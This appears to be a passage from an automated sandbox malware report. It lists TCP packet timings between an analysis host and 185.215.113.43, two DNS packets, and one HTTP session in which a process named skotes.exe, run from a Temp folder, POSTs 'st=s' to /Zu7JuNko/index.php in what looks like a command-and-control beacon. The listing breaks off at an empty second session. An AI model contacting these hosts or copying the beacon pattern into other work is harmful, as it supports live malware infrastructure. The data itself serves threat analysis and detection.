Sep 25, 2024 10:35:27.761718035 CEST	64750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:29.391947985 CEST	64750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:29.392263889 CEST	64752	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:29.397463083 CEST	80	64750	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:29.397548914 CEST	80	64752	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:29.397557020 CEST	64750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:29.397644997 CEST	64752	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:29.397823095 CEST	64752	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:29.402916908 CEST	80	64752	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:30.303122044 CEST	80	64752	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:30.303227901 CEST	64752	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:31.813380957 CEST	64752	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:31.813990116 CEST	64753	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:31.818769932 CEST	80	64752	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:31.818802118 CEST	80	64753	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:31.818885088 CEST	64752	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:31.818886042 CEST	64753	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:31.819139957 CEST	64753	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:31.824044943 CEST	80	64753	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:32.615470886 CEST	80	64753	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:32.615526915 CEST	64753	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:34.236232996 CEST	64753	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:34.236737013 CEST	64754	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:34.241451025 CEST	80	64753	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:34.241522074 CEST	80	64754	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:34.241620064 CEST	64753	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:34.241620064 CEST	64754	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:34.241924047 CEST	64754	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:34.246640921 CEST	80	64754	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:34.937264919 CEST	80	64754	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:34.937318087 CEST	64754	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:36.454102993 CEST	64755	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:36.454193115 CEST	64754	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:36.459032059 CEST	80	64755	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:36.459305048 CEST	80	64754	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:36.459517002 CEST	64755	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:36.459542990 CEST	64754	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:36.459683895 CEST	64755	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:36.464401007 CEST	80	64755	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:37.158345938 CEST	80	64755	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:37.158409119 CEST	64755	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:38.782756090 CEST	64756	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:38.783109903 CEST	64755	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:38.787691116 CEST	80	64756	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:38.787753105 CEST	64756	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:38.788053989 CEST	64756	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:38.788496017 CEST	80	64755	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:38.788551092 CEST	64755	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:38.792933941 CEST	80	64756	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:39.515770912 CEST	80	64756	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:39.515892029 CEST	64756	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:41.212605953 CEST	64756	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:41.213207006 CEST	64757	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:41.217576027 CEST	80	64756	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:41.217639923 CEST	64756	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:41.218024015 CEST	80	64757	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:41.218094110 CEST	64757	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:41.224195957 CEST	64757	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:41.229033947 CEST	80	64757	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:41.917973042 CEST	80	64757	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:41.918050051 CEST	64757	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:43.551215887 CEST	64757	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:43.551603079 CEST	64758	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:43.556529045 CEST	80	64757	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:43.556581974 CEST	64757	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:43.556607008 CEST	80	64758	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:43.556703091 CEST	64758	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:43.556926966 CEST	64758	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:43.562238932 CEST	80	64758	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:44.267358065 CEST	80	64758	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:44.267484903 CEST	64758	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:45.782305956 CEST	64758	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:45.782311916 CEST	64759	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:45.787064075 CEST	80	64759	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:45.787372112 CEST	80	64758	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:45.788655043 CEST	64758	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:45.788661003 CEST	64759	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:45.792583942 CEST	64759	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:45.797317028 CEST	80	64759	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:46.501008987 CEST	80	64759	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:46.504689932 CEST	64759	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:48.141731977 CEST	64759	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:48.141751051 CEST	64760	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:48.148293972 CEST	80	64760	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:48.148379087 CEST	64760	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:48.148624897 CEST	80	64759	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:48.148679018 CEST	64760	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:48.148753881 CEST	64759	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:48.154998064 CEST	80	64760	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:48.837905884 CEST	80	64760	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:48.837960958 CEST	64760	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:50.353713989 CEST	64760	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:50.353718042 CEST	64761	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:50.360385895 CEST	80	64761	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:50.360506058 CEST	64761	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:50.360627890 CEST	80	64760	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:50.360757113 CEST	64761	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:50.360759974 CEST	64760	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:50.365917921 CEST	80	64761	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:51.065532923 CEST	80	64761	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:51.065612078 CEST	64761	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:52.690311909 CEST	64761	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:52.690721989 CEST	64762	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:52.695477009 CEST	80	64761	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:52.695518970 CEST	80	64762	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:52.695538044 CEST	64761	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:52.695638895 CEST	64762	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:52.705745935 CEST	64762	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:52.710644007 CEST	80	64762	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:53.512721062 CEST	80	64762	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:53.512779951 CEST	64762	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:55.111157894 CEST	64762	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:55.111565113 CEST	64763	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:55.152674913 CEST	80	64763	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:55.152769089 CEST	64763	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:55.152981997 CEST	64763	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:55.153354883 CEST	80	64762	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:55.153410912 CEST	64762	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:55.158648968 CEST	80	64763	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:55.867079020 CEST	80	64763	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:55.870867968 CEST	64763	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:57.516499043 CEST	64763	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:57.516808033 CEST	64764	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:57.521811008 CEST	80	64763	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:57.521991968 CEST	64763	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:57.522263050 CEST	80	64764	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:57.522350073 CEST	64764	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:57.522469997 CEST	64764	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:57.527324915 CEST	80	64764	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:58.246817112 CEST	80	64764	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:58.246999979 CEST	64764	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:59.750709057 CEST	64764	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:59.751176119 CEST	64765	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:59.755934000 CEST	80	64764	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:59.756097078 CEST	80	64765	185.215.113.43	192.168.2.6
Sep 25, 2024 10:35:59.756217957 CEST	64765	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:59.756220102 CEST	64764	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:59.756391048 CEST	64765	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:35:59.761233091 CEST	80	64765	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:00.460374117 CEST	80	64765	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:00.464723110 CEST	64765	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:02.094942093 CEST	64765	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:02.095263958 CEST	64766	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:02.309060097 CEST	80	64766	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:02.310538054 CEST	80	64765	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:02.310693026 CEST	64766	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:02.310693026 CEST	64765	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:02.310892105 CEST	64766	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:02.315773964 CEST	80	64766	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:03.021708012 CEST	80	64766	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:03.021781921 CEST	64766	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:04.532867908 CEST	64766	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:04.533231974 CEST	64767	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:04.697663069 CEST	80	64767	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:04.697685003 CEST	80	64766	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:04.697736979 CEST	64767	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:04.697772026 CEST	64766	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:04.697995901 CEST	64767	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:04.702794075 CEST	80	64767	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:05.707675934 CEST	80	64767	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:05.707748890 CEST	80	64767	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:05.708055973 CEST	64767	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:07.329597950 CEST	64767	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:07.329965115 CEST	64768	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:07.334814072 CEST	80	64767	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:07.334862947 CEST	64767	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:07.334945917 CEST	80	64768	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:07.335011959 CEST	64768	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:07.335206032 CEST	64768	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:07.340013027 CEST	80	64768	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:08.036984921 CEST	80	64768	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:08.040688038 CEST	64768	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:09.548352957 CEST	64768	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:09.548692942 CEST	64769	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:09.553450108 CEST	80	64768	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:09.553462982 CEST	80	64769	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:09.553502083 CEST	64768	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:09.553553104 CEST	64769	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:09.553716898 CEST	64769	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:09.558458090 CEST	80	64769	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:10.249022007 CEST	80	64769	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:10.249701977 CEST	64769	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:11.877382994 CEST	64769	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:11.877382994 CEST	64770	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:12.021823883 CEST	80	64770	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:12.021856070 CEST	80	64769	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:12.022013903 CEST	64769	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:12.022013903 CEST	64770	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:12.022192001 CEST	64770	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:12.027223110 CEST	80	64770	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:12.713136911 CEST	80	64770	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:12.713187933 CEST	64770	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:14.220175028 CEST	64770	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:14.220222950 CEST	64771	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:14.226995945 CEST	80	64771	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:14.227114916 CEST	64771	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:14.227299929 CEST	80	64770	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:14.227332115 CEST	64771	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:14.227652073 CEST	64770	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:14.232156038 CEST	80	64771	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:14.959640026 CEST	80	64771	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:14.959707975 CEST	64771	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:16.582705021 CEST	64773	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:16.582814932 CEST	64771	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:16.587542057 CEST	80	64773	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:16.587824106 CEST	80	64771	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:16.587848902 CEST	64773	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:16.587930918 CEST	64771	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:16.588416100 CEST	64773	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:16.593136072 CEST	80	64773	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:17.309568882 CEST	80	64773	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:17.309634924 CEST	64773	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:18.814224005 CEST	64773	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:18.814677954 CEST	64774	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:18.819456100 CEST	80	64773	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:18.819489002 CEST	80	64774	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:18.819608927 CEST	64773	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:18.819608927 CEST	64774	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:18.819691896 CEST	64774	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:18.824412107 CEST	80	64774	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:19.558557987 CEST	80	64774	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:19.558615923 CEST	64774	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:21.190020084 CEST	64774	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:21.190438032 CEST	64775	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:21.371838093 CEST	80	64775	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:21.371855021 CEST	80	64774	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:21.371917009 CEST	64775	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:21.371941090 CEST	64774	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:21.372128010 CEST	64775	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:21.376842976 CEST	80	64775	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:22.065582991 CEST	80	64775	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:22.065671921 CEST	64775	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:23.582263947 CEST	64775	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:23.582751989 CEST	64776	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:23.587412119 CEST	80	64775	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:23.587456942 CEST	64775	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:23.587584019 CEST	80	64776	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:23.587642908 CEST	64776	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:23.587848902 CEST	64776	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:23.592606068 CEST	80	64776	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:24.280637026 CEST	80	64776	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:24.280805111 CEST	64776	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:25.907283068 CEST	64776	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:25.907567978 CEST	64777	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:25.912374973 CEST	80	64777	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:25.912507057 CEST	64777	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:25.912647963 CEST	80	64776	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:25.912656069 CEST	64777	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:25.912777901 CEST	64776	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:25.917440891 CEST	80	64777	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:26.632025003 CEST	80	64777	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:26.634876966 CEST	64777	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:28.141824007 CEST	64777	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:28.142169952 CEST	64778	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:28.147017956 CEST	80	64777	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:28.147099972 CEST	64777	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:28.147104979 CEST	80	64778	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:28.147233009 CEST	64778	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:28.147414923 CEST	64778	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:28.152221918 CEST	80	64778	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:29.155380011 CEST	80	64778	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:29.155462027 CEST	80	64778	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:29.155462980 CEST	64778	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:29.155503035 CEST	64778	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:29.353523016 CEST	80	64778	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:29.353612900 CEST	64778	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:30.783200979 CEST	64778	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:30.783581972 CEST	64779	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:30.788466930 CEST	80	64779	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:30.788492918 CEST	80	64778	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:30.788547993 CEST	64779	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:30.788585901 CEST	64778	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:30.788799047 CEST	64779	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:30.793557882 CEST	80	64779	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:31.482470036 CEST	80	64779	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:31.482583046 CEST	64779	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:33.008665085 CEST	64779	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:33.009201050 CEST	64780	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:33.311106920 CEST	64779	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:33.920727968 CEST	64779	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:34.016659021 CEST	64780	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:34.061594009 CEST	80	64780	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:34.061609030 CEST	80	64779	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:34.061633110 CEST	80	64779	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:34.061644077 CEST	80	64780	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:34.061943054 CEST	64780	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:34.061943054 CEST	64780	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:34.062957048 CEST	80	64779	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:34.066783905 CEST	80	64780	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:34.066874981 CEST	64779	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:34.771907091 CEST	80	64780	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:34.771977901 CEST	64780	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:36.409311056 CEST	64780	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:36.409604073 CEST	64781	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:36.415472984 CEST	80	64780	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:36.415487051 CEST	80	64781	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:36.415566921 CEST	64780	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:36.415654898 CEST	64781	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:36.415894985 CEST	64781	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:36.420692921 CEST	80	64781	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:37.105528116 CEST	80	64781	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:37.105590105 CEST	64781	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:38.610268116 CEST	64781	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:38.610595942 CEST	64783	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:38.615448952 CEST	80	64781	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:38.615509033 CEST	80	64783	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:38.615556955 CEST	64781	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:38.615654945 CEST	64783	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:38.616646051 CEST	64783	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:36:38.621634007 CEST	80	64783	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:39.319875956 CEST	80	64783	185.215.113.43	192.168.2.6
Sep 25, 2024 10:36:39.319946051 CEST	64783	80	192.168.2.6	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 10:33:17.037029028 CEST	53	49484	162.159.36.2	192.168.2.6
Sep 25, 2024 10:33:17.531804085 CEST	53	64312	1.1.1.1	192.168.2.6

HTTP Request Dependency Graph

185.215.113.43

185.215.113.103

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49748	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:07.718255997 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49749	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
